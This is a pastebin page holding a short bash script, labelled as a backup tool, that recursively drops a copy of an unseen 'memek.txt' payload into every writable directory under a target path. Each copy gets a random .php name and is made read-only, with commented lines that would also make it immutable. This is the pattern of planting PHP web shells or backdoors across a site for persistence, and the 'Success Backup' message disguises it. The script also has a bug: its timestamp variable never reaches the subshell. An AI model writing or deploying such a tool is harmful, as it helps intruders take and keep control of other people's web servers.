Untitled


SUBMITTED BY: Guest

DATE: Oct. 13, 2024, 1:03 p.m.

FORMAT: Text only

SIZE: 1.3 kB

HITS: 98

  1. #!/bin/bash
  2. setTime() {
  3. local timestamp
  4. timestamp=$(date -d '22-09-2020 00:00:00' +%s)
  5. if [ $? -ne 0 ]; then
  6. echo "Date salah!"
  7. exit 1
  8. else
  9. echo "$timestamp"
  10. fi
  11. }
  12. recursive_directory() {
  13. local dir=$1
  14. local timestamp
  15. timestamp=$(setTime)
  16. if [ ! -d "$dir" ]; then
  17. echo "Directory not found: $dir"
  18. exit 1
  19. fi
  20. find "$dir" -type d -exec bash -c '
  21. for d; do
  22. if [ -w "$d" ] && [ ! -z "$(find "$d" -maxdepth 1 -type f ! -newermt "$timestamp" -exec echo -n . \; )" ]; then
  23. random_name=$((RANDOM)).php
  24. content=$(<memek.txt)
  25. echo "$content" > "$d/$random_name"
  26. # chown root:root "$d/$random_name"
  27. chmod 0444 "$d/$random_name"
  28. #chattr +i "$d/$random_name"
  29. #chattr +a "$d/$random_name"
  30. echo "Success Backup : $d/$random_name"
  31. fi
  32. done
  33. ' bash {} +
  34. }
  35. # Gunakan argumen path dari command line
  36. if [ $# -eq 1 ]; then
  37. recursive_directory "$1"
  38. else
  39. echo "Usage: $0 <path>"
  40. exit 1
  41. fi
  42. # sed -i 's/\r//' backuper.sh
  43. # chmod +x backuper.sh backuper.sh /path/to/dir

comments powered by Disqus